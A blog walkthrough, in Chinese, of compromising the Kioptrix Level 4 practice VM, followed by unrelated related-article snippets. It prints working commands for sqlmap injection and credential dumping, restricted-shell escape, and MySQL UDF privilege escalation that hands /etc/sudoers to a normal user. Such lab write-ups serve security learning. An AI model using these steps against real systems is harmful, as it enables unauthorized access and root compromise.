Vulnhub---kioptirx4 udf手工提权

个人博客 WuTongSec

打点

nmap -sP 192.168.128.0/24 找机器

nmap -P- 192.168.128.135 端口快扫

nmap -min-rate 10000 -sV -sC -O 192.168.128.135 脚本并没有扫出 什么洞

image-20241205222254157

dirsearch -u http://192.168.128.135 目录扫描 三个200

image-20241206203142287

image-20241206203304926

image-20241206203357140

那就先上web看看 web是应该登录框

在password处有明显的报错 返回包有sql注入

image-20241205222453492

sql利用

目前阶段先用sqlmap进行操作

sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch --dbs

image-20241206201933013

只有一个表

sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members

image-20241206202138635

直接--dump 所以数据

sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members --dump

image-20241206202340039

IDUsernamePassword
1johnMyNameIsJohn
2robertADGAdsafdfwt4gadfga==

居然只是这样的一个东西

image-20241206202903134

image-20241206202942541

密码复用 ssh

两个都登陆成功了 根据提示 ?给出当前能用的命令

image-20241206204028034

这里看了很多文章 尝试了很多次

基本思路就是先枚举我们能用的命令 ls cd sudo python 再去网上搜

或者在登陆的时候直接执行

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss robert@192.168.128.135 -t "/bin/sh" or "/bin/bash"

rbash逃逸大全 - 先知社区

Linux Restricted Shell绕过技巧总结 - FreeBuf网络安全行业门户

渗透技巧——如何逃逸Linux的受限制shell执行任意命令 - -Zad- - 博客园

这两个都可以

echo os.system("/bin/bash")

ls os.system("/bin/bash")

image-20241206211650937

ps 查看当前进程

image-20241206212827550

提权

刚开始 sudo -l 但是不能用一个sudo都没有

然后就是suid

查看 SUID 文件:此命令会列出所有具有 SUID 位的文件

find / -type f -perm -4000 -ls

image-20241206214232787

都在网站GTFOBins里面试过了 都不能用

之前进程里面有mysql 就尝试密码复用或者无密码

image-20241206214321992

mysql -u root -p 无密码的mysql

image-20241206214416546

mysqludf提权文章Red-vs-Blue/linux环境下的MySQL UDF提权.md at master · SEC-GO/Red-vs-Blue · GitHub

什么是UDF?

UDF 是 "User-Defined Function"(用户定义函数)的缩写。它允许你在MySQL中创建自定义函数,这些函数可以像内置函数一样在SQL查询中使用。例如,你可以创建一个UDF来执行复杂的计算或处理特定的数据格式。

什么是UDF提权?

UDF提权是一种利用MySQL UDF功能的漏洞,可以通过它在目标系统上执行任意命令,从而获得更高的权限。简单来说,就是通过MySQL数据库来执行操作系统级别的命令,进而控制整个服务器。

如何实现UDF提权?

  1. 上传恶意的UDF库文件

    • 攻击者首先需要找到一个可以写入文件的地方,通常是通过SQL注入漏洞。

    • 然后,攻击者会上传一个恶意的动态链接库(DLL或SO文件),这个库文件包含了一个或多个自定义函数,这些函数实际上可以执行操作系统命令。

  2. 创建UDF

    • 攻击者通过SQL命令告诉MySQL加载并注册这个恶意的库文件。例如:

      CREATE FUNCTION sys_exec RETURNS STRING SONAME 'malicious_udf.so';
    • 这条命令告诉MySQL创建一个名为 sys_exec 的新函数,并指定它位于 malicious_udf.so 文件中。

  3. 执行系统命令

    • 一旦UDF被成功创建,攻击者就可以通过调用这个函数来执行操作系统命令。例如:

      SELECT sys_exec('whoami');

总结

就是我们上传一个库文件 里面有exec等 加上允许我们在MySQL中创建自定义函数 所以可以提权

所以先搜索一下本地的库文件的路径

john@Kioptrix4:~$ whereis lib_mysqludf_sys.so   
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so

操作/详解

在创建函数前要use mysql

show databases

use mysql

mysql>  create function sys_eval returns string soname 'lib_mysqludf_sys.so';        
Query OK, 0 rows affected (0.00 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root| 
+--------------------+
1 row in set (0.00 sec)
​
mysql>  select sys_eval('chown -R john:john /etc/sudoers');                   
+---------------------------------------------+
| sys_eval('chown -R john:john /etc/sudoers') |
+---------------------------------------------+
|                                             | 
+---------------------------------------------+
1 row in set (0.00 sec)
​
mysql> exit
Bye
john@Kioptrix4:~$ ls -la /etc |grep sudoers
-r--r-----  1 john john      557 2012-02-04 09:58 sudoers
执行 whoami 命令
mysql> SELECT sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.00 sec)
  • 说明:尽管之前创建UDF函数时遇到错误,但你仍然能够成功调用 sys_eval 函数,并执行了 whoami 命令,返回了当前用户的名称为 root。这表明 sys_eval 函数可能已经在之前的会话中创建并加载了。

尝试更改 /etc/sudoers 文件的所有权
mysql> SELECT sys_eval('chown -R john:john /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R john:john /etc/sudoers') |
+---------------------------------------------+
|                                             |
+---------------------------------------------+
1 row in set (0.00 sec)
  • 说明:通过 sys_eval 函数执行了 chown -R john:john /etc/sudoers 命令,以将 /etc/sudoers 文件的所有权更改为 john 用户。

检查 /etc/sudoers 文件的权限
john@Kioptrix4:~$ ls -la /etc | grep sudoers
-r--r-----  1 john john      557 2012-02-04 09:58 sudoers
  • 说明/etc/sudoers 文件的所有者已经成功更改为 john 用户,并且组也更改为 john。文件权限保持不变(-r--r-----),即只有所有者有读取权限,其他用户没有写入或执行权限。

其实sqlmap的过程里面也是这样差不多的 创建函数

image-20241206232317244

我们已经执行
chown -R john:john /etc/sudoers
chown 命令
  • chown:这是Linux/Unix系统中的一个命令,用于更改文件或目录的所有者和/或所属组。chown 是 "change owner" 的缩写。

执行 chown -R john:john /etc/sudoers 后,/etc/sudoers 文件的所有者将从 root 更改为 john,并且所属组也将从 root 更改为 john。这意味着:

  • 所有者john 用户现在拥有对 /etc/sudoers 文件的完全控制权。

  • 所属组john 组的成员现在也与 john 用户共享对该文件的访问权限。

而/etc/sudoers定义了哪些用户或用户组可以使用 sudo 命令

我们先 chmod +w /etc/sudoers

image-20241206233906770

  • 文件权限问题

    /etc/sudoers 文件的权限应该是 0440(即 -r--r-----),但之前将其权限更改为 0640(即 -rw-r-----)。先把其改回去

    john@Kioptrix4:~$ sudo -l
    sudo: /etc/sudoers is mode 0640, should be 0440
    john@Kioptrix4:~$ chmod 0440 /etc/sudoers
  • /etc/sudoers 文件的所有者应该是 root(UID 0),但现在将其所有者更改为 john(UID 1001)。这是导致 sudo 无法运行

​
john@Kioptrix4:~$ sudo -l                
sudo: /etc/sudoers is owned by uid 1001, should be 0
我们之前把/etc/sudoers 的权限给了john是为了提权在该目录下 加入john可以执行sudo权限
但是我们现在 sudo -l root:root 用户没有/etc/sudoers这个权限 
所以我们再次回到 之前musql里面把/etc/sudoers 的权限重新给root
​
mysql>  select sys_eval('chown -R root:root /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R root:root /etc/sudoers') |
+---------------------------------------------+
|                                             | 
+---------------------------------------------+
1 row in set (0.00 sec)
​
chown root:root /etc/sudoers`:将 `/etc/sudoers` 文件的所有者和所属组更改为 `root

image-20241206235157371

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/35502.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于RISC-V的HSM方案

安全之安全(security)博客目录导读 本篇博客,我们聚焦RISC-V 2024中国峰会上RISC-V的一个HSM(Hardware Security Module)实现方案,来自芯来科技王松老师。 关于RISC-V TEE(可信执行环境)的相关方案,如感兴趣可参考RIS…

【C++探索学习】第十九弹——进程替换:深入解析操作系统中的进程替换机制

Linux学习笔记: https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言: 在Linux操作系统中,进程替换(Process Replacement)是一个重要的概念,它允许程序通过系统调…

[软件工程]八.软件演化

8.1什么是软件演化 由于种种不可避免的原因,系统开发完成后的软件需要进行修改来适应变更的需求,我们对软件的修改就叫软件演化。 8.2为什么软件会演化 由于业务的变更或者为了满足用户期待的改变,使得对已有的系统的新需求浮现出来。由于…

WiFi受限不再愁,电脑无网络快速修复指南

有时在试图连接WiFi时,会发现网络连接受限,或无法正常访问互联网。这种情况不仅影响了工作效率,还可能错过重要的信息。那么,究竟是什么原因导致了电脑WiFi连接受限呢?又该如何解决这一问题呢?小A今天就来教…

【Liunx篇】基础开发工具 - yum

文章目录 🌵一.Liunx下安装软件的方案🐾1.源代码安装🐾2.rpm包安装🐾3.包管理器进行安装 🌵二.软件包管理器-yum🌵三.yum的具体操作🐾1.查看软件包🐾2.安装软件包🐾3.卸载…

第七节(2)、T型加减速优化处理【51单片机-TB6600驱动器-步进电机教程】

摘要:本节介绍解决标准T型加减速过程中的两个缺陷,其一是使得初速度任意设置;其二是降低Cn递推计算量,提升速度上限 一. 加速减速过程计算 1.1计算不存在匀速过程 根据基本运动定理: w m a x w 0 a 0 ∗ t n 0 … …

什么是继承性?C++中如何实现继承? 继承的好处和注意事项有哪些?

1) 什么是继承性?C中如何实现继承? 一、继承性的概念 继承性是面向对象编程中的一个重要特性,它允许一个类(称为子类或派生类)继承另一个类(称为父类或基类)的属性和方法。继承的主要目的是实现…

唇形同步视频生成工具:Wav2Lip

一、模型介绍 今天介绍一个唇形同步的工具-Wav2Lip;Wav2Lip是一种用于生成唇形同步(lip-sync)视频的深度学习算法,它能够根据输入的音频流自动为给定的人脸视频添加准确的口型动作。 (Paper) Wav2Lip模型…

ESP32使用TCA9548A IIC多路复用器拓展

ESP32使用TCA9548A IIC多路复用器拓展 本文将讲述如何使用TCA9458A IIC多路复用器扩展IIC总线端口。使用相同的IIC地址控制多个IIC设备,如多个OLED或BME280等 TCA9548介绍 IIC通信协可以实现在同一IIC总线上与多个IIC设备通信,只要所有设备都具有唯一…

BGP路径属性与路由反射器

BGP路径属性 路径属性: 任何一条BGP路由都拥有多个路径属性 当路由器将BGP路由通告给它的对等体时,一并被通告的还有路由所携带的各各路径属性 BGP的路径属性将影响路由优选 路径四个属性分类: 公认必遵:必须包括在每个upda…

C语言期末考试——重点考点

目录 1.C语言的结构 2.三种循环结构 3.逻辑真假判断 4. printf函数 5. 强制类型转化 6. 多分支选择结构 7. 标识符的定义 8. 三目运算符 1.C语言的结构 选择结构、顺序结构、循环结构 2.三种循环结构 for、while、do-while 3.逻辑真假判断 C语言用0表示false,用非0(不…

ci/cd配置任务超时时间

有两个地方决定了任务超时时间: 1. 2.gitlab-runner

JUC:Synchronized和锁升级

1. 面试题 谈谈你对Synchronized的理解Sychronized的锁升级你聊聊Synchronized实现原理,monitor对象什么时候生成的?知道monitor的monitorenter和monitorexit这两个是怎么保证同步的嘛?或者说这两个操作计算机底层是如何执行的偏向锁和轻量级…

梯度下降法以及 Python 实现

文章目录 1. 引言2. 梯度法3. 例子4. 代码实现5. 讨论 — 学习率 η \eta η5.1 当 η \eta η 设置过大5.2 当 η \eta η 设置过小 参考 1. 引言 梯度下降法,可以根据微分求出的斜率计算函数的最小值。 在人工智能中,经常被应用于学习算法。 2. 梯…

OpenCV-图像阈值

简单阈值法 此方法是直截了当的。如果像素值大于阈值,则会被赋为一个值(可能为白色),否则会赋为另一个值(可能为黑色)。使用的函数是 cv.threshold。第一个参数是源图像,它应该是灰度图像。第二…

详细了解IO分类

按照数据流方向如何划分? 输入流(Input Stream):从源(如文件、网络等)读取数据到程序。 输出流(Output Stream):将数据从程序写出到目的地(如文件、网络、控…

Appium 安装问题汇总

好生气好生气,装了几天了, opencv4nodejs 和 mjpeg-consumer 就是装不了,气死我了不管了,等后面会装的时候再来完善,气死了气死了。 目录 前言 1、apkanalyzer.bat 2、opencv4nodejs 3、ffmpeg 4、mjpeg-consume…

目标检测知识点总结

1、数据增强 2、指标 3、vit 、swint ViT算法,创新性地将图像划分成一个个patch,并将每个patch展平为一个向量,使得图像数据转化为序列化数据,之后输入到Transformer模型中,实现了Transformer在图像分类任务中的应用。…

Lecture 11 - List,Set,Map

List, Set and Map are all interfaces: they define how these respective types work, but they don’t provide implementation code overview 1. List(列表): (1) 创建、访问和操作列表:ArrayList …

ElfBoard开源项目|基于百度智能云平台的车牌识别项目

本项目基于百度智能云平台,旨在利用其强大的OCR服务实现车牌号码的自动识别。选择百度智能云的原因是其高效的API接口和稳定的服务质量,能够帮助开发者快速实现车牌识别应用。 本项目使用摄像头捕捉图像后,通过集成百度OCR服务的API&#xf…